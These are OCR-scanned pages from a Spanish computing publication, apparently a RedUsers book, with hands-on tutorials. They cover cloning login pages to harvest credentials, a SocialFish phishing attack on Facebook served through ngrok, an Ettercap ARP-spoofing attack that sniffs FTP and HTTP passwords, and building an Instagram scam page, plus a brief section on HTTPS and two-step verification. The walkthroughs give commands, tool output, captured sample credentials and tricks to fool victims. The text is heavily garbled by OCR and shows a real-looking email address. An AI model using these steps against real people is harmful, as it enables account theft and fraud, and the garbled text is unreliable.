127.0.0.1 - - [31/Jan/2019 20:17:15] "GET /favicon.ico HTTP/1.1" 404 - 
directory traversal attempt detected from: 127.0.0.1 

127.0.0.1 - - [31/Jan/2019 20:17:15] "GET /favicon.ico HTTP/1.1" 404 - 





Indique la URL de la página o sitio web a clonar. 
Presione ENTER y aguarde. Confirme los avisos que 
despliega el sistema y presione otra vez la tecla ENTER. 


Quiz Creator—Quiz Creator Online,online quiz maker| Wondershare - Mozilla Firefox © Q 
J Quiz Creator—Quiz Creat... * | LJ QuizCreator Online el + 
e |[Qsearch | | >» 


€ © 127.001 < i 


© Most Visitedy [J Offensive Security Ñ Kali Linux ‘Ñ Kali Docs ‘Ñ Kali Tools  Exploit-DB » 


Pp ph a System to ui Cantero iain 
rack quiz results 





e Manage published quizzes/questions efficiently E-mail: f 

e Track quiz results & collect participants information gil99@hotmail.com fe 

automatically Y 
Password: 


e Generate insightful reports for better analysis accurately 


e Change the access permission of publishers and participants 


easily — Remember me 


Register Forgot Password? 
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QuizCreator Online - Mozilla Firefox 
http://127.0..../index.html# * / LJ QuizCreator Online x \ + 


& OF &  www.quiz-creator.com/qms/index.php? œŒ |¡Q Search t+ B 


Most Visitedw [Offensive Security Kali Linux ‘Ñ Kali Docs ‘Ñ Kali Tools ® Exploit-DB 


Online Tras este intento, 
observe que el 
QuizCreator Online! navegador le 


permite ver la 
web original, lo 
que supone tener 
que ingresar 

E-mail: gil99@hotmail.com nuevamente los 
ne quiz/survey distribution datos de acceso. 
uploaded questions Password: @eeeeeees Se sugiere 
colocarlos otra 
vez para, luego, 
ingresar en el 
sitio real. 


Results and Generate Insightful Reports 
>porting system for Wondershare QuizCreator and enables you to Sign in your account 


rate professional analysis reports. Incorrect password. 


|__| Remember me 








root@kali: /var/www/html 


File Edit View Search Terminal Help 


[enable profile selector] => 
[isprivate] => 

[legacy return] => 1 
[profile selector_ids] => 
[skip api login] => 
[signed_next] => 

[trynum] => 1 

[timezone] => 285 

[Lgndim] => 

[lgnrnd] => 100119 wXKR 
[lanjs] => 1459444285 


























[default persistent] => 0 
[qsstamp] => W1tbNSwz0Sw3Niw30Cw30Sw5NiwxMDAsMTUwLDE1NSwxNjQsMTkzLDIxMiwyMjg 
sMjMxLDI1MSwyNTgsMj gxLDMzMiwzMzc sMzYzZLDM4MywzODUsNDAyLDQwN ywOMDgsNDEwLDQx0SwONDk 
SNDYxLDQ3NSwOODMSNDg2LDQ5Niw1MTcsNTQSLDU1MSw1Nj ESNTkyLDYwNCw2NDgsNZA4LDczZ0F1dLCJ 
BWmt 4eFVvWDFWS 1pSaj YwNLAxdj dfcOVOTVRySj RaUFdudwJ oaDEwMEVuYOLMeV81ekNQUUF6SUk yeWs 
2TLLPelJaewJ FMDRoQj LBeTL3bj gOaXhiTnYwNOU4wj RFQLdZQVAPUDBaqL XhNeXZj NWxhZkFOak81UGR 
TakR1Wk14aC1tUHAweFRKMzEwdDl j SIHUMUtEcXNLY3hhdcDZKV1LpT amk1 ZUFrbzgxYmMzYkh2NDJIGQUt 
LTO1xWU04QXY4c Tk2dGIOT j RWeFZgLWRiMUZPRmpvSzZVUOXk1c 1U4RHZBVHIZZKR4MT VWcENRSOF3110 


) 





















La pagina clonada 


Es importante saber que la web clonada debe tener, preferentemente, una ventana de sesión 
(o login); por ejemplo, alguna red social o cuenta de correo electrónico. 


La página clonada desde la herramienta recibe el nombre index.html por default. Su ubicación 

es dentro del directorio /var/www/ de la distribución. Si se requiere crear otra, debemos cerciorarnos 
de haber borrado la actual. Los archivos harvester.txt son los que almacenan las credenciales de 
acceso como username y password de cada sitio. 





74 | redusers.com 












- Redes 
sociales 
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Técnicas 
de Marketing Digital 


ina | ‘ i l y 


Crezca e AB ses dad y gen ingresos 





ómo ganar seguidores y convertirse en influencer 
Viraliz zación, campañas, conversión, análi 





DE CERO A EXPERTO pu 





e 
is Y 
sno 


Cientos de publicaciones USERS por una mínima cuota mensual. 
Siempre, donde vayas. On Line - Off Line. En cualquier dispositivo. 
Al menos 1 novedad semanal. Son 650 publicaciones y sumando... !! 


Incluye: eBooks - Informes USERS - Guías USERS - 
Revistas USERS y Power — CURSOS 


usershop.redusers.com 


SUSCRÍBETE O serrana 


usershop@redusers.com 
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Ataque de phishing 
mediante SocialFish 


En el presente proyecto se realiza un ataque 
de phishing a la red social Facebook mediante 


la herramienta SocialFish. 





El phishing es 


SocialFish una practica que 

Los ataques dirigidos por medio de ingenieria social consiste en obtener 
son de gran eficacia para una prueba de pentesting; d ial 

tal es el caso del phishing. Aunque han pasado G SUBMEISlES, ; 
muchos anos desde que esta tecnica se dio a conocer, generalmente, de tipo 
sigue siendo muy utilizada. financiero. Se efectúa 
Una de las herramientas más frecuentes en este mediante el uso de 


ambito es, sin duda, socialFish, que se aloja en páginas web falsas 
repositorios de GitHub. Permite efectuar ataques - 

dirigidos y clonar una página web para extraer datos que son enviadas por 
sensibles de un objetivo. correo electrónico. 
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Integración de Ngrok 

Ngrok es uno de los proyectos desarrollados 
por GitHub; ademas, es considerada una 
herramienta de codigo abierto. 

Ngrok a menudo es definido como software 
multiplataforma que resulta de gran ayuda en 
ambitos de hacking cuando no se cuenta con 
una direccion IP fija al momento de efectuar 
pruebas de pentesting para la inspeccion de 
sitios web. Gracias a el, se establece el uso 
de DDNS o nombre de dominio para realizar 
el reconocimiento de una conexion. Otra 
ventaja de este recurso es que hace posible 
la generacion y resolucion de nombres de 


dominios, que mas tarde pueden emplearse 
para enganar al objetivo o victima. 
El término código abierto en general se refiere 
al software que puede ser modificado (porque 
su diseño es de acceso público). La tecnología 
de código abierto se define como la filosofía de 
producción y desarrollo que le permite, tanto al 
usuario final como al desarrollador, tener acceso 
al código fuente del software y, por consiguiente, 
poder modificarlo. 
A continuación, explicamos el procedimiento 
para efectuar phishing utilizando la herramienta 
SocialFish desde Kali Linux. 






ngrok com 





C w https 
l ENTERPRISE SOLUTIONS 


DOCS 





DOWNLOAD 






HOW IT WORKS PRICING 


ngrok 


Public URLs for testing on 
mobile devices. 


aaa in ota Spend more time programming. One command for an 
yy ' 
instant, secure URL to your localhost server through 








Kate Libby (Plan: Pro) any NAT or firewall. 


http://127.0.0.1:4040 
Get started For free — 


hitp://katesapp.ngrok.io -> 

https://katesapp.ngrok.io 
GitHub J" SendGrid 

© twilio À ATLASSIAN 


As well as Microsoft Azure, Amazon Web Services, and many more 


Account 


Web Interface 
» localhost:3000 


Forwarding 
> locathost-3000 


Forwarding 









> slack 




























En esta imagen se 
muestra la pagina 

de Ngrok, donde 
podremos consultar su 
funcionamiento y escala 
de integracion. 
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Sg Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 


Player ~ ff wv cn om & 
Applications v Places v Terminal + 


root@kali: ~/SocialFish 


File Edit View Search Terminal Help 


root@kali:~# git clone https://github.com/UndeadSec/SocialFish.git 
Cloning into 'SocialFish'... 
remote: Enumerating objects: 5, done. 
remote: Counting objects: 100% (5/5), done. 
remote: Compressing objects: 100% (5/5), done. 
remote: Total 848 (delta 8), reused O (delta 0), pack-reused 843 
Receiving objects: 100% (848/848), 12.31 MiB | 2.04 MiB/s, done. 
deltas: 100% (412/412), done. 
:~# ls 
Downloads Pictures SocialFish Videos 
Music Public Templates 
:~# cd SocialFish 
:~/SocialFish# 





1 Comience abriendo una terminal desde Kali, donde debe 
escribir el comando #git clone https://github.com/ 
UndeadSec/SocialFish.git, con el que conseguirá clonar 
el repositorio de GitHub correspondiente. Presione la tecla 
ENTER y aguarde. Luego, liste el contenido actual con #ls 
y, después, ingrese al contenido del directorio creado, de la 
siguiente manera: #cd SocialFish. Pulse ENTER. 


Ejecute el comando #pip 
install —r requirements. 
txt, con el proposito de 
instalar los requerimientos 
necesarios y, así, poder 
ejecutar la herramienta. 


root@kali: ~/SocialFish 


File Edit View Search Terminal Help 


reotekels:~/SocialFish#¥ pip install -r requirements.txt 
Collecting setuptools==40.0.0 (from -r requirements.txt (line 1)) 

Downloading https://files.pythonhosted.org/packages/ff/f4/385715ccc461885f3ced 
f57a4lae3c12b5fec3f35cce4c8706b1la112a133/setuptools-40.0.0-py2.py3-none-any.whl 
(567kB) 

100% | MN | 573k 1.1v8/s 
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (fro 
m -r requirements.txt (line 2)) l 
Collecting huepy==0.9.8.1 (from -r requirements.txt (line 7)) 

Downloading https://files.pythonhosted.org/packages/6d/cd/c179e80c5bd56d43eb92 
4309e49ba0f610f43a0ebf85bd638dc0c4cb1f88/huepy-0.9.8.1.zip 
Collecting wget==3.2 (from -r requirements.txt (line 10)) 

Downloading https://files.pythonhosted.org/packages/47/6a/62e288da7bcda82b935f 
foc6ctfe542970f04e29c756b0e147251b2fb251f/wget-3.2.zip 
Building wheels for collected packages: huepy, wget 

Running setup.py bdist wheel for huepy ... done 

Stored in directory: /root/.cache/pip/wheels/c4/c1/8d/9b455fdd07da6621e7bd37ef 
b40e1396678794a470c32a9b28 

Running setup.py bdist wheel for wget ... done 

Stored in directory: /root/.cache/pip/wheels/40/15/30/7d8f7cea2902b4db79e3fead 
50d7d7b85ecb27ef992b618f3f 
Successfully built huepy wget 
Installing collected packages: setuptools, huepy, wget 


pund ex na a A = on: 2 DTOO 0.0.6 
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SOCIAL FISH 


* v2.0sharkNet 


Twitter: https://twitter.com/A1SON_ 


it) Do you agree to use this tool for educational purposes only? [y/N] > y 
[1] Do you want to receive credentials by email? [y/N] > n 

Select an option 

[Sjocial Media 


[O]jthers 





sr > 


Escriba la siguiente orden: #python SocialFish.py (o, en su defecto, #python3 
SocialFish.py). Presione ENTER. De este modo, conseguirá entrar a la consola de 
SocialFish. Una vez allí, oprima la tecla Y (YES) para aceptar los términos de uso 
del recurso, el cual establece que deberá utilizarse con fines educativos. Después 
seleccione Y o N para el envío de datos por correo electrónico. Presione ENTER y, 
luego, la tecla S para elegir la opción Social Media. Pulse ENTER. 


root@TheMessiah: ~/Instagram 


[1] Facebook 
[2] Google 
[3] LinkedIn 
[4] Twitter 
[5] Instagram 
[6] Snapchat 
[7] VK 


SF > 1 
Insert a custom redirect url: > www.facebook.com 
7 ory THIS IS NOT A JOKE! 
"-.,' / MISUSE OF THIS TOOL RESULTS 
za IN CRIME! 
Pl AND THE RESPONSIBILITY IS 
ONLY YOURS. 


Facebook module loaded. Building site... 


Ngrok URL: https://9daada6c.ngrok.io 

Your logs are being stored in: Logs/Facebook-180816.txt 
Press Ctrl+C or VolDown+C(android) to quit 

Waiting for credentials... 





Posteriormente, aparecerá un menú de opciones. Escriba el número 1, que hace referencia 

a Facebook. Acto seguido, escriba el nombre del sitio al que desea que se redirija su 

objetivo (www.facebook.com). Esto, después de llevar a cabo el inicio de sesión con fines 
maliciosos. Note también que en esta pantalla se arroja un dato específico: una URL que se ha 
generado de manera automática, tras haber establecido una conexión con Ngrok. De hecho, si 
presta atención, el nombre de la página lleva los datos propios del DDNS. 
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E} Log into Facebook | F.. * | + 
€ O @ | https://9daada6c.ngrok.io | e ¡CO Search AA Y A 











Ez Most Visitedw PM Offensive Security Ñ Kali Linux ‘Kali Docs ‘Ñ Kali Tools ʻe. Exploit-DB %hk Aircrack-ng “Kali Forums "Ñ NetHunter 


facebook 


Log into Facebook 


BEE C o a.com 


Forgotaccount? Sign up for Facebook 





Copie la dirección antes generada e insértela sobre el cuadro de URL del 
navegador. Oprima la tecla ENTER. Verá que la página es igual a la de 
Facebook. Tras efectuar el vaciado de los datos, será direccionado a la página 
real de la red social elegida. Esto hará pensar al usuario que ha surgido un error 
tras colocar su información. Presione ENTER. 


[*] Facebook module loaded. Building site... 


[*] Ngrok URL: https://9daada6c.ngrok.io 

[*] Your logs are being stored in: Logs/Facebook-180816.txt 
[^] Press Ctrl+C or VolDown+C(android) to quit 

[*] Waiting for credentials... 


[*] Credentials found: 

<user>: nikolatesla926@gmail.com 
<pass>: youstolemypassword 

<ip>: 45.121.87.9 

<country>: Singapore 

<city>: Singapore 





Observe que luego de regresar a 
la consola de comandos, vera en 


pantalla el Sera a SocialFish es una herramienta 

que no es más que los datos de ch; 

username y password insertados de phishing creada 

con anterioridad. exclusivamante para redes 
sociales, ya que cuenta con 
algunas plantillas preparadas 


para estas. 
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Ataque MITM: interceptar 
conexiones en vivo 


En este proyecto se configura Ettercap (herramienta de Kali Linux para pentesters, 

auxiliar para efectos de ataques MITM) con el fin de demostrar la forma en que se lleva 

a cabo un ataque ARP Spoofing, mediante el cual el atacante envía mensajes ARP falsos 
en una red local interna con la intención de cazar direcciones IP de más equipos. 





Man In The Middle 


Un ataque Man In The Middle (hombre en el medio) es una forma Spoof ng 

de realizar una escucha a escondidas en la cual un atacante realiza En términos de seguridad 
conexiones independientes para intervenir la comunicación (tarea de redes, spoofing es el uso 
que incluye la inyección de nuevos mensajes, sin que la víctima lo de técnicas de suplantación 
sepa). Actualmente se pueden utilizar herramientas de software de identidad, por lo general, 
para pentesting, como Kali Linux, para llevar a cabo prácticas de con fines maliciosos o de 


envenenamiento ARP, sniffing y MITM. Dentro de esta distribución, investigación. 
es posible encontrar la herramienta Ettercap, que será de gran 
ayuda para los casos de spoofing. 





Red WAN 


CONEXIÓN ORIGINAL 
4 X —»> 


Usuario Aplicación Web 


NUEVA CONEXIÓN 


"al Man in the Middle 





Esquema representativo de un 
ataque Man In The Middle (MITM). 
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Ettercap 

Ettercap es una suite completa para realizar 
ataques MITM. Permite interceptar conexiones 
en vivo y filtrar contenido, entre otras acciones 
interesantes. Incluye también diversas 
características para el análisis de redes y 
hosts. Durante el proceso, Ettercap genera un 
ataque ARP Spoofing, por donde el atacante 
envía mensajes ARP falsos en una red local 
interna para cazar direcciones IP de mas 


equipos, con los resultados que ya se 

han comentado. 

Para ilustrar lo expuesto, se propone realizar 
el procedimiento detallado a continuación. A 
los efectos de esta práctica, se utilizarán tres 
máquinas virtuales: la máquina virtual de Kall 
Linux, donde se realizará el ataque, la máquina 
virtual de Metasploitable y la máquina de 
Windows. Estas dos últimas serán las víctimas. 


Ataque MITM mediante Ettercap 


ettercap Input 


"m Network interface : fetno 
OK 


Cancel 





Desde la 
terminal de Kali 
Linux, ejecute 
la herramienta 
Ettercap con 

el siguiente 
comando: # 
ettercap —G. 
Esto se encarga 
de mostrar 

la interfaz 
principal de 
dicho entorno. 


v 


pm ) 


p= 
w Lal 


D 


Posteriormente, proceda a hacer clic sobre la opción Sniff/Unified Sniffing, ubicada en el menú 
superior de Ettercap. Alli debe seleccionar la interfaz de conexión, que en este caso corresponde 
a ethO (con la IP 192.168.0.12); luego haga un clic en el botón OK. Note que en la ventana 
inferior de Ettercap se presentará cierta información relacionada con la acción realizada. 
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ettercap 0.8.0 


Start Targets | | View Mitm Filters Logging Plugins ? 
Hosts bst 


Load from file Ctri+O 


Save to fhe. Ctri+s 








stening on: 

eth0 -> 00:0€:29:0C:3D058 
192168 0 12/255,255.255,0 
fed0: 20c; 29Hfe0c:3d5b/64 


SSL dissection needs a valid 'redir_command..on' script in the etter conf file 
Privileges dropped to UID 63534 GID 65594... 


33 plugins 

42 protocol dissectors 

57 ports monitored 
10074 mac vender fingerprint 
1/66 tcp OS tingerprint 

18 2 known services 


ettercap 0.8.0 


Start Targets Hosts View Mitm Filters Logging Plugins ? 





| Host List M 





IP Address MAC Address Description 
1192.168.0.1 F4:5F:D4:BE:89:23 | 
192.168.0.10 50:E5:49:1D:23:86 
192.168.0.12 00:0C:29:0C:3D:5B 


192.168.0.15 00:0C:29:17;07:D3 


192168018 le Mo 2918:59:C8 














Delete Host | Add to Target 1 








SL dissection needs a valid 'redir_command_on' script in the etter.conf file 
Privileges dropped to UID 65534 GID 65534... 


33 plugins 

42 protocol dissectors 

57 ports monitored 
16074 mac vendor fingerprint 
1766 tcp OS fingerprint 
2182 known services 
Randomizing 255 hosts for scanning... 
Scanning the whole netmask for 255 hosts... 
5 hosts added to the hosts List... 

ost 192.168.0.15 added to TARGET1 
Host 192.168.0.16 added to TARGET2 


Start Targets Hosts View Mitm Filters Logging Plugins ? 


i 


Host List M | 











IP Address MAC Address Description 
1192.168,0.1 F4:5F:D4:BE:89:23 
11192.168.0.10 50:E5:49:1D:23:86 
| 192.168.0.12 00:0C:29:0C:3D:5B 
192.168.0,15 00:0C:29:17:07:D3 


IBER 6 OO 3:18:69: CR 





= MITM Attack: ARP Poisoning (as nobody) 








= w Optional parameters 

Delete Host = 
Se . y Z (Sniff remote connections. | 

j ign SSE oe a | | 


L Only poison one-way. 

















SL dissection needs a valid 'redir_command_on' script i| 
Privileges dropped to UID 65534 GID 65534... | 








OK || Cancel | 














Proceda a añadir a 

la lista de hosts los 
objetivos contra los 
cuales se realizara el ARP 
Spoofing. Para lograrlo, 
pulse en la opcion Hosts/ 
Scan for Host. En la parte 
inferior se muestra el 
escaneo de los equipos 
presentes en la red. 


Elija Host/Host List; se 
presentara una nueva 
pestana con el listado 

de dichos equipos. De 
dicho listado seleccione 
la direccion IP de 
Metasploitable2 y definala 
como objetivo 1 haciendo 
clic en el boton Add to 
Target 1. Seleccione 
también la dirección IP 

de Windows 7 y definala 
como objetivo 2 mediante 
un clic en Add to Target 2. 


Posteriormente, 

dirijase a Mitm/Arp 
poisoning. Se abrira una 
ventana donde debe 
seleccionar Sniff remote 
connections (husmear 
conexiones remotas). 
Finalmente pulse en 
Start/Start sniffing, para 
empezar el rastreo. 
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osts View Mitm Filters Logging Plugins ? 














root@kali: ~ 


AC File Edit View Search Terminal Tabs Help 


:5| [ootepkalis= e root@kali: - x | Como puede apreciar, el 


D:E\root@kali:~# ifconfig eth0 
0 Link encap:Ethernet HWaddr 00:0c:29:0c:3d:5b ataque ha comenzado. Se 


inet addr:192.168.0.12 Bcast:192.168.0.255 Mask:255.255.255.0 visualiza la dirección MAC 
inet6 addr: fe80::20c :29ff:fe0c :3d5b/64 Scope:Link á ogy 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 asignada a Kali Linux, 
RX packets:11690 errors:0 dropped:0 overruns:0 frame:0 


TX packets:7941 errors:0 dropped:0 overruns:0 carrier:0 para después comprobar 

collisions:0 txqueuelen:1000 ° . -Z 

RX bytes:17179076 (16.3 MiB) TX bytes:615090 (600.6 KiB) que dicha dirección es la 

Interrupt:19 Base address :0x2000 misma que se relaciona 
o rootekali:=# J con la IP asignada a 


es Metasploitable2. 











: \Windows\System32>arp -a 


Interfaz: 192.168.0.15 --- Oxb 

Dirección de Internet Dirección física Tipo 
192.168.0.1 f4-5f-d4-be-89-23 dinámico 
192. 168.0. 16 O0-0c-29-Oc-3d-sb dinámico 

.168.0. -0c-29-0c-3d- inámi co . 

.0.0. -00-5e-00-00- estatico j Te 
224.0.0.252 01-00-5e-00-00-fc estático que la dirección MAC 
239.255.255.250 01-00-5e-7f-ff-fa estático asignada a Kali Linux es la 
255.255.255.255 H-H-H-H-H-fFF estático ‘ : 

misma MAC relacionada 


: \Windows\System32>,, con la IP asignada a 
Windows. 





Contact: msfdeulat Imetasploit.com 


Login with msfadmin/msfadmin to get started 


metasploitable login: user 


: Tue Jun 17 11:14:19 EDT 2014 on ttyl 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 


The programs included with the Ubuntu system are free software; 
the exact distribution terms for each program are described in the 
individual files in /usr/share/doc/*/copyright. 


Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by 
applicable lau. 


To access official Ubuntu documentation, please visit: 
http://help.ubuntu.com/ 

userfmetasploitable:”$ arp -n 

Address HWtype HWaddress Flags Mask 
192.168.090.160 ether 50:E5:49:1D:23:86 C 
192.168.0.15 ether 00:0C:29:0C:3D:5B C 
user@nmetasploitable:~$ 


Poisoning (envenenamiento) ARP o spoofing ARP 


Hace uso del protocolo ARP (Address Resolution Protocol) para llevar a cabo un proceso de 
suplantación. Como resultado, el atacante vincula su dirección MAC con la dirección IP de un 
equipo legítimo (o servidor) en la red. Si el atacante logró vincular su MAC a una IP auténtica, 
empezará a recibir cualquier dato al que se puede acceder mediante la dirección IP. 

ARP Spoofing permite a los atacantes maliciosos interceptar, modificar o, incluso, retener 
datos que están en tránsito. 
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ettercap 0.8.0 


Start Targets Hosts View Mitm Filters Logging Plugins ? 


Host List M 


Sniffing 

Es una técnica que permite 
capturar tramas de trafico 
entre redes informaticas, 
utilizada por un atacante 
para obtener informacion 
sensible, como contrasenas, 








IP Address MAC Address Description 
(192.168.0.1 F4:5F:D4:BE:89:23 
1192.168.0.10 50:E5:49:1D:23:86 

| | 192.168.0,15 00:0C:29:17:07:D3 


f 192.168.0.16 00:0C:29:18:69:C8 > 
| D 





datos bancarios u otros. 
Muchos pentesters aplican 
esta técnica con el fin de 
medir el volumen de tráfico, 
encontrar fallos, 

y detectar cuellos de botella 
y problemas en sus redes. 





Delete Host Add to Target 1 




















ARP poisoning victims: 


GROUP 1 : 192.168.0.15 00:0C:29:17:07:D3 Si se realiza una conexión 

GROUP 2: 192,168.0.16 00:0C:29:18:69:C8 en Windows 7 hacia 

Starting Unified sniffing. Metasploitable2, datos 
como nombres de usuarios 

FTP: 192,168,0,16:21 -> USER: anonymus PASS: asdasd ae £ 

HTTP: 192.168.0.16:80 -> USER: admin PASS: 12345 INFO: http://192.168.0.16/dvwa/login.php y contraseñas podrán aad 

CONTENT: username=admin&password=12345&Login=Login capturados desde Kali Linux 

sin que la víctima lo note. 





Cómo protegernos 


Para protegernos de algún ataque MITM existen diversas 
recomendaciones. Algunas de ellas son: verificar siempre que la 
comunicación esté cifrada con SSL (HTTPS), activar la verificación 
de dos pasos al momento de loguearnos y usar redes VPN. 


Verificar comunicación cifrada con SSL 


a -/ www.facebook.com 


ES x & ACADEMY: Segurid @ El primer programa Como calibrar la bai 
La conexión es segura 3 o9 [=] 


Tu informacion (por ejemplo, las contraseñas o los números Correo electrónico o teléfono 


de las tarjetas de crédito) es privada cuando se envía a este DY Ml 


sitio web. Mas informacion 


A Notificaciones Permitir 


ii a F) y cnpát Abre una 


arte de tu vida. Es gratis y lo será < 


Certificado (válido) 


Nombre 


Cookies: (24 en uso) 


Configuración de sitios web Numero de celular 


ro —_ —— 





1 Inicie ingresando en un portal de Internet desde el navegador de su elección. Luego observe 
el costado izquierdo del cuadro de texto donde se coloca la URL. Si el portal está protegido 
(y, por tanto, incluye un cifrado SSL), deberá verse un candado que indica que la página es 
segura. Se sugiere hacer clic sobre él para ver el desglose de información. 
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© Noesseguro upvm.edomex.gob.mx 


X inet & ACADEMY: Seguric @ E primer programe fa] Como calibrar la ba 


Tu conexión con este sitio web no es 
segura 


Mo deveras introducirintormecisn confidencare, hiversidad Politécnica del Valle de Méx 


este sitio web (por ejemplo, contraseñas o tarjetas de 


crédito) porque las atacantes podrian roparia. Más. Eretaría de Educación 


información 


Estudiantes 


Flash Preguntar (predeterminado) ~ 


Cookies: (7 en uso) 


Configuración de sitios web 





Los sitios no seguros incluyen un icono con un signo de admiración y una leyenda que dice: 
“No es seguro”. Al hacer clic, se muestra un recuadro de información sobre Conexión no segura. 


@ https://mx.godaddy.com/web-security/ss!-t 


G Catorce cursos un 29 DIY Arcade Cabinet ACADEMY: Segurid @® El primer programa [a] Como calibrar la ba 
Mesco 
GoDaddy Ses» Rë (55)46312410 + Ayuda Blog A Iniciar sesión +» E 


Dominios DON Hosting Seguridad web Marketing en línea Correo electrónico y Office Promociones Ó 


Certificados SSL Certificados Certificados SSL de Certificados SSL de Certificado Certificados Certificado de 
SSL validación extendida validación organizativa SSL SAN SSL comodín firma de código 


Sé seguro. Mantente seguro. Ahorra hasta 30% durante el mes de concientización de seguridad 


cibernética. 





En caso de requerir un certificado SSL para conseguir que su sitio esté protegido, 
puede contratar el servicio ofertado por alguna compañía como GoDaddy. 


SE N 
NS Los sitios web seguros 


r aS... = + Fa =~ = = afi Fr a ATA ERAN € 

Contacto | Proyecto Catorce cursos un 3 DIY Aade Cabine ACADEMY: Segurid El prime . 
D ses E Ca sl : i we a menudo incluyen el 
protocolo de transferencia 


de hipertexto seguro 
(https), en vez del http. 


= Mm Gmail Q, Buscar en el correo electrónico 


Or" A i 
+ Redactar Este representa una forma 


Linio Lanzamiento Nespre diferente de verificar que 
Recibidos el sitio que visita está 


Pinterest 12 nuevos tableros c : 
Destacados protegido y, por lo tanto, 


Adobe Acrobat Introduciendo el nue es confiable. 
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Activar la verificacion en dos pasos 

Muchos sitios web actuales (sobre todo aquellos ingresar en el portal (o aplicación) mediante el uso 
que requieren de la autenticación de usuarios) con de cuentas de usuarios. Esta verificación requiere 
frecuencia solicitan la verificación en dos pasos para de un código como parámetro adicional para la 
garantizar un mayor nivel de protección a la horade protección de accesos. 


paras Mmwa3ooglezomint yo tarding/lmep 


a CATE Curses or BY crv Arcade Cabire @ ACADEM™ sgud A ipina povan 


Google Verificación en dos pasos 





danse sis 1 Intente ingresar 
en un portal web 

Mayor protección de su elección 

para tu cuenta de | que ofrezca la 

Google MN verificación en 

Con la verificación en dos pasos b dos pasos (como 

coral 0 cb | | | | en www.gmail. 
com). Pulse 

Como funciona cono ai bin sobre el botón 

Empieza. 


Verificación en dos pasos Verificación èn dos pasos 


Usar tu teléfono como el segundo paso de acceso 


Google enviara una notñceción segura è tu teléfono como el segundo factor durante la 
verificación en dos pasos 


Recibe mensajes de —_— en estos insane ahora 
Recibirán menswees lo isposttiv que hay edido a lu cuenta de Google 
Pued ontrolar qué od recibirán mensajes en aoc figuración de la venficación en dos 
Datos 

Protege tu cuenta con la verificacion en dos pasos 


Cade vez que access e lu cuenta de Googie, necesilards lu contrasefia y un código de g US Optimus t7 1 
venficación Más informacion 


uy Lenovo TB3-710F 
Agrega un nivel de seguridad adiciona! 
¿No encuentras el dispositivo? 


Ingresa tu ¢ ee y el códinò de verificación unico 
que se envió at teldtan 
¿No quieres usar mensajes de Google? 


Elegir otra opción 


Mantén alejados a los intrusos 


Incluso sl alguien consigue tu contraseña no sera 
suficiente para accedes a tu cuenta 


INTENTAR AHORA 





Analice el contenido de la nueva página, Proceda a autenticarse como usuario. 

que indica los parámetros de seguridad Con esto conseguirá listar los dispositivos 
adicional que pueden configurarse para su móviles asociados a la cuenta de Google. 
cuenta. Presione el botón Empezar. Presione Intentar ahora. 


€ Verificación en dos pasos 


Finalmente recibirá 

un mensaje en el o los 
dispositivos asociados. 
A partir de ese momento, 


Intentar recibir un mensaje de Google cada vez que desee 
Google envió un mensaje a LG Optimus L7 Il y Lenovo TB3-710F ingresar con su cuenta i 
de Google, se requerirá, 


Para los dispositivos Android 
Desbloquea el dispositivo y presiona Si en el mensaje 


además, un código para 
acceder a la cuenta. 
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Creacion y alojamiento 
de un scam 


En este proyecto se muestra la forma de crear un scam (página o recurso web falso para el robo 


O de información) y se aplican las mejores prácticas para su generación y alojamiento. Deben 
considerarse, sin duda, diversas medidas de seguridad para evitar el fraude informático. 





Robo de información/fraude informático 


Muchos son los términos, así 
como los objetivos, referidos 
al robo de información. Dos 
conceptos de gran relevancia 
son, sin duda, crimeware 

y hijacking. El primero se 
define generalmente como 


la herramienta de software —, ) 
utilizada para cometer crimenes me | a | TEET 

. eye , "LS .c.n.... soco 
cibernéticos (según Symantec); <x a rororcrsesroso 

: . b. '..o..RÁ.ÁA e. eee 

en particular para el robo de . | esses .n.ooos 
f o, e c.o. bos... (1 ..r. O SAAd: 
información y la suplantación de ° o o o o CE | 
identidad (que da origen a los .......$ 

; ' a ‘ : (EEE ho. $ 
términos phishing y spoofing, Soe san 
respectivamente). <.. A scented 


.6... 4. ~ 5606000000 


....... a .....” 
... coo coso. coors 


Spoofing Batis 


En términos de seguridad en “ nan 
redes, spoofing es un concepto a lp o. Y 
que hace referencia al uso de S: scone 
técnicas a través de las cuales un Tt. 
hacker (el cual, se sabe, puede ... 


tener intenciones maliciosas o de 
investigación) se hace pasar por 
una entidad distinta a través de la 
falsificación de los datos en una 
comunicación. En la actualidad 
existen diferentes tipos de ataque 
en spoofing (que originalmente 
hacen uso de scam), los cuales, 
incluso, suelen aprovechar la 
suplantación de direcciones IP 

o direcciones MAC con fines 
fraudulentos. Ellos son: web 
spoofing y mail spoofing. 
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Creacion de un scam 


Hasta el momento se sabe que los medios de E Servidor web local: se utiliza Appserv, una 
estafa más comunes son mediante web y mail. herramienta para almacenar información web. 
A continuación veremos el procedimiento para m Hosting web con función mail () activada y 
crear un scam con fines meramente didácticos o sin publicidad. 

de investigación. Cada uno se hace responsable E Filezilla FTP Client: es un cliente FTP (File 
absoluto si lo lleva a cabo con fines maliciosos. Transfer Protocol) que sirve a efectos de 
Antes de iniciar, se recomienda analizar la transferencia de archivos en una red. 


siguiente lista de requerimientos: 
Una vez que comprendimos los requisitos 
mE Windows x86/x64 mencionados, deberemos analizar y efectuar 
E Notepad++: es una herramienta de software el siguiente Paso a paso, que ilustra la creación 
tipo bloc de notas (con funciones adicionadas) de un scam. 
para programadores. 


x E 





xh) 


https wwnw.instagram.com 


@ instagram 
€ C ¡0 Esseguro 


st! Aplicaciones i Contacto | Proyecto a 


G sprerdecrg D clicseguro.sep-gob" 


hizes-14 


Cómo calibrar la be! 
ls (A) El primer programa ll 


Instagram 


y videos 


Catorce cursos unm: 


Regístrate para ver fotos 
de tus amigos 


E E ic encon 





¿Tienes una cuenta? inicia sesión 





elegir la página o sitio que 
desea clonar, que será 
completamente independiente 
de la genuina. Lo importante 
aquí es que la copia se vea 
igual, aunque no funcione 


= - 
> è 
o na 
En primera instancia, deberá f 
como la original. 
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© ~ HB Escritorio © Buscar en Escritorio 


Proceda a 
a guardar la 
Jr Favoritos fi SIMULADORES le” , 
Je Descargas pagina elegida 
a J como página 
; web completa. 
] En este punto 
¡ME Este equipo e 


ip Descargas jt users_2017 sé sugiere 
«Fi almacenar la 


4) Documentos faa READER doir- nf $ 
